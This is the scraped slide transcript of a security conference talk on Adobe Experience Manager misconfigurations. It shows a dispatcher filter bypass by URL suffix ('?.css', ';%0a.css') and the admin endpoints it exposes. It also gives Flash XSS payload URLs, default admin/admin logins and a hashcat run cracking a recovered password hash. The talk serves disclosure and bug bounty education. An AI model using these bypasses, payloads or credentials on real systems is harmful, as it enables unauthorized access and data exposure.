

A story of the passive aggressive sysadmin of AEM

A story of the passive aggressive sysadmin of AEM - Frans Rosén, Speaker Deck.

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A story of the passive aggressive sysadmin of AEM - Speaker Deck

A story of the passive aggressive sysadmin of AEM

By Frans Rosén

Adobe Experience Manager is an enterprise CMS with a troubled history. It was created with the angle of high customization factor, enabling consulting firms to deploy it all over the world for huge customers.

Then came security.

Frans will go through some terrible default configuration mistakes, Adobe's love for bad Flash and how a sysadmin accidentally exposed an international multi billion dollar company using only sad thoughts.

About speaker

Frans Rosén is a tech entrepreneur, bug bounty hunter and a Security Advisor at Detectify, a security service for developers. He's a frequent blogger at Detectify Labs and a top ranked participant of bug bounty programs, receiving some of the highest bounty payouts ever on HackerOne.

Frans was recently featured as #2 on Hackread's list of 10 Famous Bug Bounty Hunters of All Time and the results of his security research has been covered in numerous international publications such as Observer, BBC, Ars Technica, Wired and Mashable.

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Frans Rosén

September 13, 2018

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Transcript

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Subdomain Takeovers. Donald Trump got hacked. The hacker referred to my post as his inspiration. I broke Let's Encrypt Live hacking! I won a boxing belt once

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@fransrosen 2016 – Peter Adkins <https://www.kernelpicnic.net/2016/07/24/Microsoft-signout.live.com-Remote-Code-Execution-Write-Up.html> CVE-2016-0957

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@fransrosen 2016 – Peter Adkins <https://www.kernelpicnic.net/2016/07/24/Microsoft-signout.live.com-Remote-Code-Execution-Write-Up.html> CVE-2016-0957 "The world's lamest

RCE."

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@fransrosen How AEM is structured <https://www.kernelpicnic.net/2016/07/24/Microsoft-signout.live.com-Remote-Code-Execution-Write-Up.html>

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@fransrosen How AEM is structured Adobe "black magic glue"

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@fransrosen How AEM is structured Stuff you pay your consultants

for Adobe "black magic glue"

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@fransrosen Shit no one's updating Stuff you pay your consultants

for Adobe "black magic glue" How AEM is structured

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@fransrosen How AEM is structured <https://www.kernelpicnic.net/2016/07/24/Microsoft-signout.live.com-Remote-Code-Execution-Write-Up.html>

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@fransrosen How AEM is structured Apache HTTP server module

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@fransrosen How AEM is structured Reverse proxy+filter Apache HTTP server module

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@fransrosen How AEM is structured Apache HTTP server module Pages

- metadata + content Reverse proxy+filter

-

@fransrosen How AEM is structured Apache HTTP server module Pages

- metadata + content Reverse proxy+filter A bunch of admin-tools

-

@fransrosen How AEM is structured You should not have access

to this Apache HTTP server module Pages + metadata + content Reverse proxy+filter A bunch of admin-tools

-

@fransrosen How AEM is structured You should not have access

to this Or this Apache HTTP server module Reverse proxy+filter A bunch of admin-tools Pages + metadata + content

-

@fransrosen Creating pages

-

@fransrosen Creating pages Author creates a new page in the

repo

-

@fransrosen Creating pages Author creates a new page in the

repo Goes through the publisher nodes

-

@fransrosen Creating pages Author creates a new page in the

repo Goes through the publisher nodes Dispatcher serves the content

-

@fransrosen Accessing pages

-

@fransrosen Accessing pages Dispatcher gets the URL

-

@fransrosen Accessing pages Dispatcher gets the URL Goes through a

filter (This filter is awesome, it's impossible to break, don't even dare to try)

-

@fransrosen Accessing pages Dispatcher gets the URL If all is

OK, serve from publish node Goes through a filter (This filter is awesome, it's impossible to break, don't even dare to try)

-

@fransrosen CVE-2016-0957 aka "I am two years old but I'm

inside an enterprise product that no one can or dares to upgrade"

-

@fransrosen CVE-2016-0957 Goes through a filter (This filter is awesome,

it's impossible to break, don't even dare to try)

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@fransrosen CVE-2016-0957 Goes through a filter (This filter is awesome,

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@fransrosen CVE-2016-0957 Goes through a filter (This filter is awesome, it's impossible to break, don't even dare to try)

-

@fransrosen This is ridiculous

-

@fransrosen Accessing pages?.css Dispatcher gets the URL?.css

-

@fransrosen Accessing pages Dispatcher gets the URL?.css Every time is OK time

-

@fransrosen Accessing pages Dispatcher gets the URL?.css Every time is OK time Serve from publish node

-

@fransrosen Publish nodes

-

@fransrosen Disk usage /etc/reports/diskusage.html?.css Disk Usage lists all r epo dirs

- metadata

-

@fransrosen My fav, opensocial proxy /libs/opensocial/proxy?url=x&.css

-

@fransrosen My fav, opensocial proxy /libs/opensocial/proxy?url=x&.css

-

@fransrosen ...but there's more!

-

@fransrosen CRX Explorer /crx/de/index.jsp?.css

-

@fransrosen CRX Explorer /crx/explorer/browser/index.jsp?.css

-

@fransrosen CRX Explorer Search /crx/explorer/browser/index.jsp?.css

-

@fransrosen Content Repository Extreme /crx/explorer/index.jsp?.css

-

@fransrosen Package Manager /crx/packmgr/index.jsp?.css

-

@fransrosen Namespace Editor (no auth needed!) /crx/explorer/ui/namespace_editor.jsp?.css

-

@fransrosen bin/querybuilder /bin/querybuilder.json?.css

-

@fransrosen bin/querybuilder /bin/querybuilder.json?.css

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@fransrosen

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@fransrosen bin/querybuilder for SWFs!

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@fransrosen bin/querybuilder for SWFs!

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@fransrosen FLASHFEST in AEM CORE /etc/clientlibs/foundation/video/swf/player_flv_maxi.swf? >

-

@fransrosen FLASHFEST in AEM CORE /etc/clientlibs/foundation/shared/endorsed/swf/slideshow.swf?contentPath=%5c"))%7dcatch(e) %7balert(document.domain)%7d// /etc/clientlibs/foundation/video/swf/player_flv_maxi.swf? >

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@fransrosen FLASHFEST in AEM CORE /etc/clientlibs/foundation/shared/endorsed/swf/ slideshow.
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video/swf/player_flv_maxi.swf? >

/etc/clientlibs/foundation/video/swf/StrobeMediaPlayback.swf?
javascriptCallbackFunction=alert(document.domain)-String

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@fransrosen FLASHFEST in AEM CORE /etc/clientlibs/foundation/shared/endorsed/swf/ slideshow.
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/etc/clientlibs/foundation/video/swf/StrobeMediaPlayback.swf?
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/libs/dam/widgets/resources/swfupload/swfupload_f9.swf?movieName=%22])
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@fransrosen FLASHFEST in AEM CORE /etc/clientlibs/foundation/shared/endorsed/swf/ slideshow.
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/libs/cq/ui/resources/swfupload/swfupload.swf?movieName=%22])
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/libs/cq/ui/resources/swfupload/swfupload.swf?movieName=%22])
%7dcatch(e)%7bif(!this.x)alert(document.domain),this.x=1%7d// /etc/dam/viewers/s7sdk/2.11/
flash/VideoPlayer.swf? stagesize=1&namespacePrefix=alert(document.domain)-window Thx Neal
Poole

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@fransrosen FLASHFEST in AEM CORE /etc/clientlibs/foundation/shared/endorsed/swf/ slideshow.
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/libs/cq/ui/resources/swfupload/swfupload.swf?movieName=%22])
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flash/VideoPlayer.swf? stagesize=1&namespacePrefix=alert(document.domain)-window
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loglevel=,firebug&movie=%5c%22));if(!self.x)self.x=!alert(document.domain) %7dcatch(e)%7b%7d//
Thx Neal Poole

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/libs/cq/ui/resources/swfupload/swfupload.swf?movieName=%22])
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/etc/dam/viewers/s7sdk/2.9/flash/VideoPlayer.swf?
loglevel=,firebug&movie=%5c%22));if(!self.x)self.x=!alert(document.domain) %7dcatch(e)%7b%7d//
/etc/dam/viewers/s7sdk/3.2/flash/VideoPlayer.swf?
stagesize=1&namespacePrefix=window[/aler/.source%2b/t/.source] (document.domain)-window
Thx Neal Poole

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@fransrosen Allowing anonymous publish access

-

@fransrosen Allowing anonymous publish access

-

@fransrosen Allowing anonymous publish access

-

@fransrosen but Peter mentioned RCE?

-

@fransrosen RCE? <https://www.kernelpicnic.net/2016/07/24/Microsoft-signout.live.com-Remote-Code-Execution-Write-Up.html>

-

@fransrosen RCE? <https://www.kernelpicnic.net/2016/07/24/Microsoft-signout.live.com-Remote-Code-Execution-Write-Up.html> admin / admin

-

@fransrosen RCE <https://www.kernelpicnic.net/2016/07/24/Microsoft-signout.live.com-Remote-Code-Execution-Write-Up.html>

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@fransrosen RCE <https://www.kernelpicnic.net/2016/07/24/Microsoft-signout.live.com-Remote-Code-Execution-Write-Up.html>

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@fransrosen Patch for CVE-2016-0957

-

@fransrosen Patch for CVE-2016-0957 WOHO! WOHO!

-

@fransrosen Patch for CVE-2016-0957 WOHO! WOHO!

-

@fransrosen Patch for CVE-2016-0957 THEN WHAT IS THE PROBLEM? WOHO!

WOHO!

-

@fransrosen Problem 1

-

@fransrosen Problem 1

-

@fransrosen Problem 1 PRIORITY: nah, bro

-

@fransrosen Problem 2

-

@fransrosen Problem 2

-

@fransrosen Patch for CVE-2016-0957 IRL VERSION

-

@fransrosen Patch for CVE-2016-0957 IRL

-

@fransrosen Patch for CVE-2016-0957 IRL

-

@fransrosen Patch for CVE-2016-0957 IRL

-

@fransrosen Bypasses, seriously ?.js ;%0a.css Thank Jasmin Landry for this
one

-

@fransrosen The passive aggressive sysadmin

-

@fransrosen The passive aggressive sysadmin + +

-

@fransrosen The passive aggressive sysadmin + +

-

@fransrosen I've seen this before

-

@fransrosen AEM

-

@fransrosen CRX

-

@fransrosen CRXDE

-

@fransrosen All other stuff

-

@fransrosen /system/console

-

@fransrosen /system/console admin / admin

-

@fransrosen /system/console admin / admin

-

@fransrosen Report!

-

@fransrosen Search time!

-

@fransrosen Search time!

-

@fransrosen Search time!

-

@fransrosen Search time!

-

@fransrosen WTF

-

**@fransrosen WTF \$ h=\$(echo "6J7An/QgzU+j5gr1G0CyEexJ9xkgilyyUzTcmaCCV
5g=" \ | base64 -D |**

xxd -p | tr -d '\n')

-

@fransrosen WTF \$ h=\$(echo "6J7An/QgzU+j5gr1G0CyEexJ9xkgilyyUzTcmaCCV5g=" \ | base64 -D |

xxd -p | tr -d '\n') \$ echo \$h e89ec09ff420cd4fa3e60af51b40b211ec49f71920888cb25334dc99a0825798

-

@fransrosen hashcat ftw \$ echo \$h > hash.txt \$./hashcat.app

-a 0 -m 1400 hash.txt rockyou.txt

-

@fransrosen hashcat ftw \$ echo \$h > hash.txt \$./hashcat.app

-a 0 -m 1400 hash.txt rockyou.txt Status.....: Cracked Started: Thu Sep 13 11:59:23 2018 Stopped: Thu Sep 13 11:59:25 2018

-

@fransrosen hashcat ftw ih8uall

-

@fransrosen /system/console

-

@fransrosen /system/console admin / ih8uall

-

@fransrosen /system/console

-

@fransrosen /system/console

-

@fransrosen Report 2

-

@fransrosen Report 2

-

@fransrosen Report 2

-

@fransrosen Public bug bounty programs with AEM Public responsible disclosure

Private ones

-

@fransrosen Thanks!

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